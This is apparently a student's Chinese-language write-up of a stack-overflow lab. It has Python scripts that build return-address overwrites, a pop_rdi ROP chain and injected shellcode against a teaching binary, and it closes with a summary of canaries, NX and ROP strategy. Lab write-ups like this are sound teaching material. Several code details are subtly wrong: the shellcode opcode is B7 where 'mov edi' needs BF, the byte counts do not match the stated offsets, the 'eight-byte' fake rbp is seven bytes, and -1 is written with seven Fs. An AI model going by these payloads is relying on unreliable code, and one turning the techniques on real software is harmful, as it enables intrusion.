

# 栈溢出攻击实验

## 题目解决思路

### Problem 1:

- **分析:** 通过objdump和IDA进行反汇编分析, func1就是打印那句话的函数, 而main会自动执行func, 因此我们需要通过栈溢出攻击来使func在返回时调用func1, 这只需要把func的返回地址改成func1的起始地址即可。通过分析func的运行时栈, 为了注入func1的起始地址, 需要16字节的padding。
- **解决方案:**

```
# -*- coding: gbk -*-
padding = b"A" * 16
func1_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"
payload = padding+ func1_address
# Write the payload to a file
with open("ans1.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans1.txt")
```

- **结果:** ! [problem1](#)

### Problem 2:

- **分析:** 问题2和问题1的区别在于, 能打印那句话的func要检查rdi的值为0x3f8。我们需要调用pop\_rdi, 利用它将rdi的值改为0x3f8, 再调用func2。func的运行时栈和问题1一样, 因此还是用16字节padding, 然后修改返回地址调用pop\_rdi, 再写入要修改的值, 最后写入func2起始地址用于调用。
- **解决方案:**

```
# -*- coding: gbk -*-
padding = b"A" * 16
pop_rdi=b"\xc7\x12\x40\x00\x00\x00\x00\x00"
value=b"\xf8\x03\x00\x00\x00\x00\x00\x00"
func2_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"
payload = padding+ pop_rdi+ value+ func2_address
# Write the payload to a file
with open("ans2.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans2.txt")
```

- **结果:** [problem2](#)

### Problem 3:

- **分析:** 问题2开了NX, 问题3没开, 注意到这个才能做出来。我读了半天, 横竖看不出来怎么改rdi的值, 最后发现可以改机器码, 于是问了AI这个机器码怎么写, 成功通关。接下来是思路分析:  
整体思路和问题2比较像, 只是不知道怎么改rdi。阅读了给的所有小函数以后发现jmp\_x和jmp\_xs可以强制跳转, 于是我们把shellcode写在[rbp-0x20], 接着进行填充, 最后将返回地址改到jmp\_xs, 用于跳转执行

shellcode。

shellcode是：mov edi,0x72 ; mov rax,0x401216 ; jmp rax

- 解决方案：

```
# -*- coding: gbk -*-
# 利用思路：把shellcode放在[rbp-0x20]，ret跳到 jmp_xs(0x401334)，由其跳到shellcode执行
# shellcode: mov edi,0x72 ; mov rax,0x401216 ; jmp rax
shellcode= (
    b"\xB7\x72\x00\x00\x00"                # mov edi, 0x72
    b"\x48\xB8\x16\x12\x40\x00\x00\x00\x00" # movabs rax, 0x401216
    b"\xFF\xE0")                            # jmp rax
padding= b"\x90" *15                      # NOP 填充到 0x20 字节
fake_rbp = b"\x00\x00\x00\x00\x00\x00\x00" # 任意8字节
ret_to_jmp_xs = b"\x34\x13\x40\x00\x00\x00\x00\x00" # 实为 jmp_xs@0x401334

payload = shellcode + padding + fake_rbp + ret_to_jmp_xs
# Write the payload to a file
with open("ans3.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans3.txt")
```

- 结果： [problem3](#)

## Problem 4:

- 分析：Problem4不能用栈溢出，因为函数入口都会把线程本地的canary（fs:0x28读到栈上，返回前再比对，若被覆盖就调用\_\_stack\_chk\_fail，所以传统覆盖返回地址会先被canary拦截。题的通过点不在字符串，而在最后输入的整数：func里把计数上限设为0xFFFFFFE，对输入做无符号循环自减，随后判断“循环后值是否为1且原始输入是否为-1”。当输入 -1（32位即 0xFFFFFFF）时，循环结束后恰好变成1，且备份仍为-1，条件同时成立，程序按正常控制流调用func1并退出，从而通关。
- 解决方案：先随便输两个字符串，然后输入-1。
- 结果： [problem4](#)

## 思考与总结

本次实验的要诀是“读汇编—定目标—算偏移—选最短链”。先从反汇编锁定成功条件（如目标函数与参数），再根据函数尾部形态（ret/leave; ret）精确计算覆盖布局与偏移，所有地址按小端写入，必要时再考虑 16 字节对齐。ROP 的核心是把寄存器设置到期望状态而非堆砌 gadget；当写窗很小或缺少常见 gadget（如 pop rdi ; ret）时，应转而利用程序自带的控制流组件（如 jmp\_xs）或在 NX 关闭时直接执行极短 shellcode，以最低复杂度达成目标。

安全机制与策略选择同样关键。Canary 在函数入口保存 fs:0x28、返回前校验，一旦被溢出破坏就触发 \_\_stack\_chk\_fail，使传统覆写返回地址失效；因此 Problem4 的正解是走程序原有的判定分支（输入 -1），让程序“自己”调用目标函数。整体经验是：优先寻找最短、可解释、可复现的路径；当常规利用受限（写窗、NX、PIE/ASLR、gadget 匮乏）时，不要死磕，回到二进制已有逻辑与工具，换道超车。

## 参考资料

---

做bomblab时积攒的知识

《CS:APP》

与chatGPT对话